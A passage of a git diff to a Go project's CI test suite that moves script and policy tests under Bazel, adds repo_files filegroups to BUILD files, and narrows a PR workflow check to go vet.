bazelEmbeddedStorageShardCount(t *testing.T) int { // expected to report "missing" entries by design (see those generators' // module docstrings) and is not what this test runs. func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold neither the generator's sources nor cmd/bd") - } - python, err := exec.LookPath("python3") - if err != nil { - t.Skip("python3 not available") - } + python := requireHostTool(t, "python3") root := sourceRepoRoot(t) shards := strconv.Itoa(bazelEmbeddedCmdShardCount(t)) cmd := exec.Command(python, "scripts/ci/gen_embedded_cmd_shard_manifest.py", shards, "--weights=duration", "--check") @@ -106,13 +87,7 @@ func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { // TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's // Bazel-only 15-shard block; see that test's doc comment. func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold neither the generator's sources nor cmd/bd") - } - python, err := exec.LookPath("python3") - if err != nil { - t.Skip("python3 not available") - } + python := requireHostTool(t, "python3") root := sourceRepoRoot(t) shards := strconv.Itoa(bazelEmbeddedStorageShardCount(t)) cmd := exec.Command(python, "scripts/ci/gen_embedded_storage_shard_manifest.py", shards, "--weights=duration", "--check") diff --git a/scripts/gitattributespolicy/BUILD.bazel b/scripts/gitattributespolicy/BUILD.bazel index 20f299fff..cfe8b8098 100644 --- a/scripts/gitattributespolicy/BUILD.bazel +++ b/scripts/gitattributespolicy/BUILD.bazel @@ -9,3 +9,25 @@ go_test( ], data = ["//:.gitattributes"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/host_tools_test.go b/scripts/host_tools_test.go index 76b0874d3..0c498194b 100644 --- a/scripts/host_tools_test.go +++ b/scripts/host_tools_test.go @@ -9,13 +9,13 @@ import ( // skipOrFailWithoutHostTool handles a missing host tool. Under go test the // test skips, as it always has. Under Bazel it fails: //scripts:scripts_test -// is tagged host-tools, which promises git, python3, bash and friends on the -// host that runs it, so a skip there would hide a host that breaks that promise -// behind a green result. +// relies on the executor's bash, git, python3 and friends (the rbe-west +// worker image, or the runner in fork-cache mode), so a skip there would +// hide an executor that lacks one behind a green, cacheable result. func skipOrFailWithoutHostTool(t *testing.T, format string, args ...any) { t.Helper() if bazeltest.IsBazel() { - t.Fatalf("host-tools target: "+format, args...) + t.Fatalf("executor lacks a host tool: "+format, args...) } t.Skipf(format, args...) } @@ -30,3 +30,18 @@ func requireHostTool(t *testing.T, name string) string { } return path } + +// testGo returns the go binary to run. Under Bazel that is the registered Go +// SDK (BUILD data, BEADS_TEST_GO), which is go.mod's toolchain: the go on the +// executor's PATH may be another release. +func testGo(t *testing.T) string { + t.Helper() + if bazeltest.IsBazel() { + path, err := bazeltest.RunfileEnv("BEADS_TEST_GO") + if err != nil { + t.Fatal(err) + } + return path + } + return requireHostTool(t, "go") +} diff --git a/scripts/internal/testbash/BUILD.bazel b/scripts/internal/testbash/BUILD.bazel index 8b8ebdb72..3e1ed3c72 100644 --- a/scripts/internal/testbash/BUILD.bazel +++ b/scripts/internal/testbash/BUILD.bazel @@ -20,3 +20,25 @@ go_test( ], embed = [":testbash"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/migration-test/catalog/BUILD.bazel b/scripts/migration-test/catalog/BUILD.bazel index 32d105fe8..70e66d75a 100644 --- a/scripts/migration-test/catalog/BUILD.bazel +++ b/scripts/migration-test/catalog/BUILD.bazel @@ -19,3 +19,25 @@ go_test( data = ["//scripts:migration-test/release-catalog.json"], embed = [":catalog_lib"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/pr-lint/BUILD.bazel b/scripts/pr-lint/BUILD.bazel index 86bf04c89..906740444 100644 --- a/scripts/pr-lint/BUILD.bazel +++ b/scripts/pr-lint/BUILD.bazel @@ -20,3 +20,25 @@ go_test( embed = [":pr-lint_lib"], deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index fedfccbcb..8abcbb6c6 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -21,15 +21,13 @@ import ( // TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did // besides those tests keeps running on every PR: the package gates take the // Bazel-built bd, the Dolt server fingerprint has its own job, and -// scripts-go-checks runs `go test ./scripts/...`, go test's vet checks and -// the Go tests the Bazel lane does not run or skips (equivalence allowlist). +// scripts-go-checks runs go test's vet checks. const ( // The legacy jobs' if: not covered. prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" prFingerprintJob = "test-dolt-server-fingerprint" prFingerprintID = "TEST_DOLT_SERVER_FINGERPRINT" - prAllowlistedStep = "Run the Go tests the Bazel lane skips" prScriptsChecksJob = "scripts-go-checks" prScriptsChecksID = "SCRIPTS_GO_CHECKS" // bazel.yml's lanes for the step add --config=sole-run whenever they @@ -592,12 +590,12 @@ func TestPRDoltServerFingerprintRunsOnEveryPR(t *testing.T) { } } -// PR Core's duties the Bazel lanes do not take over run on every PR, in -// pr.yml's required scripts-go-checks job (PR Core's environment): `go test -// ./scripts/...` with PR Core's flags (the policy tests, some of which check -// part or all of their rules under go test only), go test's vet checks over -// ./... (rules_go's go_test runs none), and the Go tests Bazel does not run -// or skips (tools/bazel/equivalence_allowlist.txt), each required to pass. +// PR Core's one duty the Bazel lanes do not take over runs on every PR, in +// pr.yml's required scripts-go-checks job: go test's vet checks over ./... +// (rules_go's go_test runs none). The repository policy tests and the Go +// tests that walk the checkout run under Bazel (//scripts:scripts_test and +// //test/docsync over //:repo_files), so no workflow runs `go test` over +// ./scripts/... or the equivalence allowlist any more. func TestPRRunsGoTestsBazelSkips(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") job := pr.job(t, prScriptsChecksJob) @@ -607,12 +605,7 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { t.Errorf("%s: if %q, continue-on-error %v, needs %v, runs-on %q, timeout %d; want an unconditional same-repo-Blacksmith job with a timeout", prScriptsChecksJob, job.If, job.ContinueOnError, job.Needs, job.RunsOn, job.TimeoutMinutes) } - // F5.3: three legs behind matrix.check, not fail-fast (a vet regression - // must not hide an allowlisted regression, or vice versa). - if job.Strategy.FailFast { - t.Errorf("%s strategy.fail-fast = true, want false", prScriptsChecksJob) - } - if want := []string{"scripts-test", "vet", "allowlisted"}; !equalStrings(job.Strategy.Matrix.Check, want) { + if want := []string{"vet"}; !equalStrings(job.Strategy.Matrix.Check, want) { t.Errorf("%s matrix.check = %v, want %v", prScriptsChecksJob, job.Strategy.Matrix.Check, want) } var names []string @@ -622,50 +615,14 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { t.Errorf("%s step %q has continue-on-error", prScriptsChecksJob, st.Name) } } - wantNames := []string{"", "Set up Go", "Restore Go module cache", "Restore race Go build cache", "Restore vet Go build cache", - "Restore non-race Go build cache", "Install Dolt", "Configure Git and Dolt identity", "Go test the scripts packages", - "Go vet with go test's checks", prAllowlistedStep} + wantNames := []string{"", "Set up Go", "Restore Go module cache", "Restore vet Go build cache", "Go vet with go test's checks"} if !reflect.DeepEqual(names, wantNames) { t.Errorf("%s steps %q, want %q", prScriptsChecksJob, names, wantNames) } - // The environment PR Core's job gives its go test (the race leg's cache - // restore and Dolt setup stay byte-for-byte the same as pr-core-wrapper's). - core := pr.job(t, "pr-core-wrapper") - for _, name := range []string{"Install Dolt", "Configure Git and Dolt identity", "Restore race Go build cache"} { - if got, want := job.step(t, name), core.step(t, name); got.Run != want.Run || !reflect.DeepEqual(got.With, want.With) || got.Uses != want.Uses { - t.Errorf("%s step %q differs from pr-core-wrapper's", prScriptsChecksJob, name) - } - } - legIf := func(checks ...string) string { - parts := make([]string, len(checks)) - for i, c := range checks { - parts[i] = "matrix.check == '" + c + "'" - } - return strings.Join(parts, " || ") - } - // Dolt is only needed by the legs that use it; the vet leg skips it. - for _, name := range []string{"Install Dolt", "Configure Git and Dolt identity"} { - if got, want := job.step(t, name).If, legIf("scripts-test", "allowlisted"); got != want { - t.Errorf("%s step %q if = %q, want %q", prScriptsChecksJob, name, got, want) - } - } - for name, want := range map[string]struct { - run, ifc string - env map[string]string - }{ - "Go test the scripts packages": {"bash scripts/ci/scripts-go-test.sh", legIf("scripts-test"), map[string]string{ - "BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION": "1", "GOCACHE": "${{ runner.temp }}/go-cache/race"}}, - "Go vet with go test's checks": {"bash scripts/ci/go-test-vet.sh", - "${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }}", - map[string]string{"GOCACHE": "${{ runner.temp }}/go-cache/vet"}}, - prAllowlistedStep: {"bash scripts/ci/allowlisted-go-tests.sh", - "${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'allowlisted' }}", - map[string]string{"GOCACHE": "${{ runner.temp }}/go-cache/non-race"}}, - } { - st := job.step(t, name) - if st.Run != want.run || st.If != want.ifc || st.Shell != "" || (len(st.Env) != 0 || len(want.env) != 0) && !reflect.DeepEqual(st.Env, want.env) { - t.Errorf("%s step %q: run %q, if %q, shell %q, env %v; want run %q, if %q, env %v", prScriptsChecksJob, name, st.Run, st.If, st.Shell, st.Env, want.run, want.ifc, want.env) - } + st := job.step(t, "Go vet with go test's checks") + if want := "bash scripts/ci/go-test-vet.sh"; st.Run != want || st.If != "${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }}" || + !reflect.DeepEqual(st.Env, map[string]string{"GOCACHE": "${{ runner.temp }}/go-cache/vet"}) { + t.Errorf("%s vet step: run %q, if %q, env %v", prScriptsChecksJob, st.Run, st.If, st.Env) } gate := pr.job(t, "ci-gate") env := gate.step(t, "Evaluate CI gate").Env @@ -673,109 +630,88 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { !contains(strings.Fields(env["CI_GATE_REQUIRED"]), prScriptsChecksID) { t.Errorf("ci-gate does not require %s", prScriptsChecksID) } - // Nothing else in pr.yml runs these (one place to look). + // Nothing else in pr.yml runs go-test-vet.sh, and no workflow brings back + // a go test of the scripts packages or of the allowlist (they run under + // Bazel). for name, j := range pr.Jobs { for _, st := range j.Steps { - for _, script := range []string{"allowlisted-go-tests.sh", "scripts-go-test.sh", "go-test-vet.sh"} { - if strings.Contains(st.Run, script) && name != prScriptsChecksJob { - t.Errorf("%s step %q runs %s; only %s does", name, st.Name, script, prScriptsChecksJob) + if strings.Contains(st.Run, "go-test-vet.sh") && name != prScriptsChecksJob { + t.Errorf("%s step %q runs go-test-vet.sh; only %s does", name, st.Name, prScriptsChecksJob) + } + } + } + retired := regexp.MustCompile(`allowlisted-go-tests\.sh|scripts-go-test\.sh|run_allowlisted_go_tests\.py|go test[^\n]* \./scripts/\.\.\.`) + for _, wf := range []string{"pr.yml", "main.yml", "nightly.yml", "pr-risk.yml", bazelWorkflowName} { + for name, j := range readCIWorkflow(t, wf).Jobs { + for _, st := range j.Steps { + // A compile-only cache warm (-run '^$') runs no test. + if m := retired.FindString(st.Run); m != "" && !strings.Contains(m, "-run '^$'") { + t.Errorf("%s %s step %q runs %q; the scripts packages and the allowlisted tests run under Bazel", wf, name, st.Name, m) } } } } // main.yml's push-only go-vet-cache job (F5.3) is the one explicit // exception: it warms the vet cache pr.yml's vet leg restores, and - // nothing else in main.yml may run these scripts either. + // nothing else in main.yml may run go-test-vet.sh either. for name, j := range readCIWorkflow(t, "main.yml").Jobs { for _, st := range j.Steps { - for _, script := range []string{"allowlisted-go-tests.sh", "scripts-go-test.sh", "go-test-vet.sh"} { - if strings.Contains(st.Run, script) && name != "go-vet-cache" { - t.Errorf("main.yml %s step %q runs %s; only go-vet-cache may (go-test-vet.sh)", name, st.Name, script) - } + if strings.Contains(st.Run, "go-test-vet.sh") && name != "go-vet-cache" { + t.Errorf("main.yml %s step %q runs go-test-vet.sh; only go-vet-cache may", name, st.Name) } } } if got := readCIWorkflow(t, "main.yml").job(t, "go-vet-cache").step(t, "Go vet with go test's checks").Run; got != "bash scripts/ci/go-test-vet.sh" { t.Errorf("main.yml go-vet-cache does not run go-test-vet.sh: %q", got) } - if os.Getenv("TEST_SRCDIR") != "" { - return // scripts_test's runfiles hold none of the scripts (this part runs in that job itself) - } root := sourceRepoRoot(t) + for _, gone := range []string{"scripts/ci/allowlisted-go-tests.sh", "scripts/ci/scripts-go-test.sh", "tools/bazel/run_allowlisted_go_tests.py"} { + if _, err := os.Stat(filepath.Join(root, filepath.FromSlash(gone))); err == nil { + t.Errorf("%s is back; the tests it ran under go test run under Bazel", gone) + } + } prelude := []string{ "set -euo pipefail", `SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"`, `REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"`, `source "$REPO_ROOT/.buildflags"`, + `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, + `cd "$REPO_ROOT"`, + "GO_TEST_VET_FLAGS=(" + strings.Join(goTestDefaultVetFlags(t), " ") + ")", + `ci_time "go vet (go test's checks)" -- \`, + `go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./...`, } - for script, rest := range map[string][]string{ - "scripts/ci/allowlisted-go-tests.sh": { - `source "$REPO_ROOT/scripts/ci/lib/test-env.sh"`, - `cd "$REPO_ROOT"`, - "beads_test_env_enter", - "export BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1", - `python3 tools/bazel/run_allowlisted_go_tests.py "$@"`, - }, - "scripts/ci/scripts-go-test.sh": { - `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, - `source "$REPO_ROOT/scripts/ci/lib/test-env.sh"`, - `cd "$REPO_ROOT"`, - "beads_test_env_enter", - `ci_time "scripts go test" -- \`, - `go test -p 4 -parallel 4 -race -short -timeout=30m -skip '^TestEmbedded' ./scripts/...`, - }, - "scripts/ci/go-test-vet.sh": { - `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, - `cd "$REPO_ROOT"`, - "GO_TEST_VET_FLAGS=(" + strings.Join(goTestDefaultVetFlags(t), " ") + ")", - `ci_time "go vet (go test's checks)" -- \`, - `go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./...`, - }, - } { - var code []string - for _, line := range strings.Split(readPolicyFile(t, root, script), "\n") { - if l := strings.TrimSpace(line); l != "" && !strings.HasPrefix(l, "#") { - code = append(code, l) - } - } - if want := append(append([]string{}, prelude...), rest...); !reflect.DeepEqual(code, want) { - t.Errorf("%s code changed:\n%s\nwant:\n%s", script, strings.Join(code, "\n"), strings.Join(want, "\n")) + var code []string + for _, line := range strings.Split(readPolicyFile(t, root, "scripts/ci/go-test-vet.sh"), "\n") { + if l := strings.TrimSpace(line); l != "" && !strings.HasPrefix(l, "#") { + code = append(code, l) } } - // PR Core's own test command: the scripts step must keep its flags. - if core := readPolicyFile(t, root, "scripts/ci/pr-core.sh"); !strings.Contains(core, - `go_test -p "$GO_TEST_PKG_PARALLEL" -parallel "$GO_TEST_PARALLEL" -race -short -timeout=30m -skip '^TestEmbedded' ./...`) { - t.Errorf("scripts/ci/pr-core.sh's go test changed; keep scripts/ci/scripts-go-test.sh's flags equal to it") - } - - // The real allowlist plans: every entry maps to a package go test runs. - python := requireHostTool(t, "python3") - runner := filepath.Join(root, "tools", "bazel", "run_allowlisted_go_tests.py") - out, err := exec.Command(python, runner, "--dry-run").CombinedOutput() - if err != nil { - t.Fatalf("dry run of the real allowlist: %v\n%s", err, out) + if !reflect.DeepEqual(code, prelude) { + t.Errorf("scripts/ci/go-test-vet.sh code changed:\n%s\nwant:\n%s", strings.Join(code, "\n"), strings.Join(prelude, "\n")) } + // The allowlist's remaining skip entries run in pr-preflight-platforms + // (every OS), each named in its go test selector. + fallback := pr.job(t, "pr-preflight-platforms").step(t, "Exercise go test's bd build fallback").Run for _, line := range strings.Split(readPolicyFile(t, root, "tools/bazel/equivalence_allowlist.txt"), "\n") { body, _, _ := strings.Cut(line, "#") f := strings.Fields(body) if len(f) == 0 { continue } - if !strings.Contains(string(out), " ./"+f[0]+"\n") { - t.Errorf("allowlist entry %q: no go test of ./%s planned:\n%s", line, f[0], out) - } - if f[1] != "*" && !strings.Contains(string(out), regexp.QuoteMeta(strings.TrimSuffix(f[1], "*"))) { - t.Errorf("allowlist entry %q: not selected:\n%s", line, out) + if len(f) != 3 || f[0] != "cmd/bd" || f[2] != "skip" || !strings.Contains(fallback, f[1]) || !strings.HasSuffix(fallback, " ./cmd/bd") { + t.Errorf("allowlist entry %q is not a cmd/bd skip run by pr-preflight-platforms' bd build fallback step (%q)", line, fallback) } } } -// goTestDefaultVetFlags: the vet checks the Go toolchain running this test -// gives `go test` (cmd/go's defaultVetFlags), read from its source, so a Go -// upgrade that changes them fails here until go-test-vet.sh follows. +// goTestDefaultVetFlags: the vet checks go.mod's Go toolchain gives `go test` +// (cmd/go's defaultVetFlags), read from its source, so a Go upgrade that +// changes them fails here until go-test-vet.sh follows. Under Bazel the +// toolchain is the registered SDK (testGo). func goTestDefaultVetFlags(t *testing.T) []string { t.Helper() - goroot, err := exec.Command(requireHostTool(t, "go"), "env", "GOROOT").Output() + goroot, err := exec.Command(testGo(t), "env", "GOROOT").Output() if err != nil { t.Fatal(err) } @@ -801,92 +737,6 @@ func goTestDefaultVetFlags(t *testing.T) []string { return flags } -// run_allowlisted_go_tests.py on a synthetic allowlist and a fake go that -// reports given results: every entry must match a test that ran and passed. -func TestRunAllowlistedGoTestsScript(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold no tools/bazel Python") - } - requireHostTool(t, "bash") - python := requireHostTool(t, "python3") - runner := filepath.Join(sourceRepoRoot(t), "tools", "bazel", "run_allowlisted_go_tests.py") - dir := t.TempDir() - fakeGo := filepath.Join(dir, "go") - // Emits one top-level event per FAKE_="Test:action ..." pair and - // records its arguments; exits FAKE_RC. - if err := os.WriteFile(fakeGo, []byte(`#!/usr/bin/env bash -echo "$*" >> "$FAKE_LOG" -pkg="${!#}"; key="FAKE_$(printf '%s' "${pkg#./}" | tr -c 'A-Za-z0-9' '_')" -for pair in ${!key}; do - printf '{"Action":"%s","Package":"x","Test":"%s"}\n' "${pair#*:}" "${pair%%:*}" -done -exit "${FAKE_RC:-0}" -`), 0o755); err != nil { - t.Fatal(err) - } - allow := filepath.Join(dir, "allow.txt") - if err := os.WriteFile(allow, []byte(`# comment -cmd/bd TestZZStdioNotLeaked skip # needs its baseline -scripts TestA skip # why -scripts TestGlob* skip # why -`), 0o644); err != nil { - t.Fatal(err) - } - run := func(env ...string) (string, error) { - log := filepath.Join(dir, "log") - _ = os.Remove(log) - cmd := exec.Command(python, runner, "--allowlist", allow, "--go", fakeGo) - cmd.Env = append(os.Environ(), append([]string{"FAKE_LOG=" + log}, env...)...) - out, err := cmd.CombinedOutput() - args, _ := os.ReadFile(log) - return string(out) + "\nARGS:\n" + string(args), err - } - good := []string{ - "FAKE_cmd_bd=TestAAAStdioBaseline:pass TestZZStdioNotLeaked:pass", - "FAKE_scripts=TestA:pass TestGlobOne:pass TestGlobTwo:pass", - } - out, err := run(good...) - if err != nil { - t.Fatalf("all passed: %v\n%s", err, out) - } - for _, want := range []string{ - "-run ^(TestAAAStdioBaseline|TestZZStdioNotLeaked)$ ./cmd/bd", - "-run ^(TestA|TestGlob.*)$ ./scripts", - "test -json -short -count=1 -timeout=30m -skip ^TestEmbedded -tags gms_pure_go", - } { - if !strings.Contains(out, want) { - t.Errorf("go invocations lack %q:\n%s", want, out) - } - } - for name, env := range map[string][]string{ - "entry skipped": {good[0], "FAKE_scripts=TestA:skip TestGlobOne:pass"}, - "glob member skipped": {good[0], "FAKE_scripts=TestA:pass TestGlobOne:pass TestGlobTwo:skip"}, - "entry missing": {good[0], "FAKE_scripts=TestGlobOne:pass"}, - "glob matched none": {good[0], "FAKE_scripts=TestA:pass"}, - "companion only": {"FAKE_cmd_bd=TestAAAStdioBaseline:pass", good[1]}, - "other test failed": {good[0], good[1] + " TestOther:fail"}, - "go test failed": append([]string{"FAKE_RC=1"}, good...), - "package not run": {good[1]}, - } { - if out, err := run(env...); err == nil { - t.Errorf("%s: runner passed:\n%s", name, out) - } - } - // Entries it cannot run. - for name, body := range map[string]string{ - "package glob": "cmd/* TestX skip # why\n", - "bad name": "scripts Test(X) skip # why\n", - "no reason": "scripts TestX skip\n", - } { - if err := os.WriteFile(allow, []byte(body), 0o644); err != nil { - t.Fatal(err) - } - if out, err := run(good...); err == nil { - t.Errorf("%s: runner accepted the allowlist:\n%s", name, out) - } - } -} - // bazel.yml's step-3 lanes: in mode remote (always, on covered PRs) every // `bazel test` adds --config=sole-run, whose lines are exactly no cached // test results and no whole-invocation retry after a remote cache eviction; diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 90106e551..0fc4c84e8 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1204,9 +1204,6 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // check_shard_coverage.py itself, on a synthetic BEP, test.xml files and // shard script. func TestCheckShardCoverageScript(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold no tools/bazel Python") - } requireHostTool(t, "bash") python := requireHostTool(t, "python3") script := filepath.Join(sourceRepoRoot(t), "tools", "bazel", "check_shard_coverage.py") @@ -1371,9 +1368,6 @@ esac // must really not be a test (TestMain takes *testing.M). Otherwise the // checker reports a listed test that "did not run" on every real run. func TestShardScriptsListOnlyRealTests(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold neither the shard scripts' sources nor tools/bazel") - } // The CI shard scripts use bash 4 associative arrays (Linux runners only). requireAutofixBash(t) root := sourceRepoRoot(t) @@ -1550,13 +1544,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { // .github/scripts/proxied-cmd-test-shards.txt and engdocs/TESTING.md), so a // --check against it would always fail by design. func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold neither the generator's sources nor cmd/bd") - } - python, err := exec.LookPath("python3") - if err != nil { - t.Skip("python3 not available") - } + python := requireHostTool(t, "python3") root := sourceRepoRoot(t) cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", "30", "--weights=duration", "--check") cmd.Dir = root @@ -1666,49 +1654,39 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // Committed rc files: only .bazelrc. .bazelrc.local and user.bazelrc are // developer-local (gitignored) and would be try-imported into CI runs. - if os.Getenv("TEST_SRCDIR") == "" { - if git, err := exec.LookPath("git"); err == nil { - out, err := exec.Command(git, "-C", root, "ls-files").Output() - if err != nil { - t.Fatal(err) - } - for _, f := range strings.Split(strings.TrimSpace(string(out)), "\n") { - base := filepath.Base(f) - if strings.Contains(base, "bazelrc") && f != ".bazelrc" && f != setupBazelActionDir+"/write-bazelrc.sh" { - t.Errorf("committed rc file %s: .bazelrc's try-import would load it into every CI run", f) - } - } + for _, f := range repoFiles(t, root) { + base := filepath.Base(f) + if strings.Contains(base, "bazelrc") && f != ".bazelrc" && f != setupBazelActionDir+"/write-bazelrc.sh" { + t.Errorf("committed rc file %s: .bazelrc's try-import would load it into every CI run", f) } } // The scripts every lane's test runs under or through, and the whole // setup-bazel action (its generated rc applies to every command). - if os.Getenv("TEST_SRCDIR") == "" { - scriptNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|BEADS_TEST_PROXIED_SERVER|BEADS_TEST_ENV_RUN_DOLT|BEADS_TEST_REQUIRE_DOLT_CONTAINER|BEADS_TEST_DOLT_SERVER\b|TESTBRIDGE_TEST_ONLY|test_filter|test_arg|_filters\b|cache_test_results|eviction_retries|flaky|runs_per_test|test_sharding_strategy`) - files, _ := filepath.Glob(filepath.Join(root, "tools", "bazel", "*.sh")) - action, _ := filepath.Glob(filepath.Join(root, setupBazelActionDir, "*")) - files = append(files, action...) - if len(files) < 5 { - t.Fatalf("found only %v", files) + scriptNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|BEADS_TEST_PROXIED_SERVER|BEADS_TEST_ENV_RUN_DOLT|BEADS_TEST_REQUIRE_DOLT_CONTAINER|BEADS_TEST_DOLT_SERVER\b|TESTBRIDGE_TEST_ONLY|test_filter|test_arg|_filters\b|cache_test_results|eviction_retries|flaky|runs_per_test|test_sharding_strategy`) + files, _ := filepath.Glob(filepath.Join(root, "tools", "bazel", "*.sh")) + action, _ := filepath.Glob(filepath.Join(root, setupBazelActionDir, "*")) + files = append(files, action...) + if len(files) < 5 { + t.Fatalf("found only %v", files) + } + for _, f := range files { + rel, _ := filepath.Rel(root, f) + data, err := os.ReadFile(f) + if err != nil { + t.Fatal(err) } - for _, f := range files { - rel, _ := filepath.Rel(root, f) - data, err := os.ReadFile(f) - if err != nil { - t.Fatal(err) + for i, line := range strings.Split(string(data), "\n") { + code := strings.TrimSpace(line) + if strings.HasPrefix(code, "#") { + continue } - for i, line := range strings.Split(string(data), "\n") { - code := strings.TrimSpace(line) - if strings.HasPrefix(code, "#") { - continue - } - if scriptNarrow.MatchString(code) { - t.Errorf("%s:%d %q can select, skip or re-run the retired tiers' lanes' tests", rel, i+1, code) - } - for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(code, -1) { - if !rcEnabled[m[1]] { - t.Errorf("%s:%d enables --config=%s for every command", rel, i+1, m[1]) - } + if scriptNarrow.MatchString(code) { + t.Errorf("%s:%d %q can select, skip or re-run the retired tiers' lanes' tests", rel, i+1, code) + } + for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(code, -1) { + if !rcEnabled[m[1]] { + t.Errorf("%s:%d enables --config=%s for every command", rel, i+1, m[1]) } } } @@ -1718,20 +1696,15 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // legacy jobs run the same scripts, so they are not changed here): the // command that runs the selected tests is pinned exactly, and nothing // else in them may select, skip, export a tier switch or run tests. - if os.Getenv("TEST_SRCDIR") == "" { - for _, c := range bazelShardScripts { - for _, e := range shardScriptNarrowing(c, readPolicyFile(t, root, c.script)) { - t.Error(e) - } + for _, c := range bazelShardScripts { + for _, e := range shardScriptNarrowing(c, readPolicyFile(t, root, c.script)) { + t.Error(e) } } // The lanes' targets (tagged embedded, dolt-server-proxied or // dolt-server-integration): exactly these, with exactly these args and // env (the legacy jobs' flags; the shard scripts add the rest). - if os.Getenv("TEST_SRCDIR") != "" { - return // scripts_test's runfiles hold no other package's BUILD - } type target struct { args []string env map[string]string @@ -2099,9 +2072,6 @@ func shardScriptNarrowing(c bazelShardScript, src string) []string { // The shard script check itself, on the real scripts and on narrowing edits // of one (review F2 mutations m2 and m3). func TestShardScriptNarrowingCheck(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold no .github/scripts") - } root := sourceRepoRoot(t) scripts := map[string]bool{} for _, c := range bazelShardScripts { diff --git a/scripts/prlintmake/BUILD.bazel b/scripts/prlintmake/BUILD.bazel index a551175b0..e1fd0fd90 100644 --- a/scripts/prlintmake/BUILD.bazel +++ b/scripts/prlintmake/BUILD.bazel @@ -22,3 +22,25 @@ go_test( env = {"BEADS_TEST_GO": "$(rlocationpath @go_sdk//:bin/go)"}, deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/release_script_test.go b/scripts/release_script_test.go index 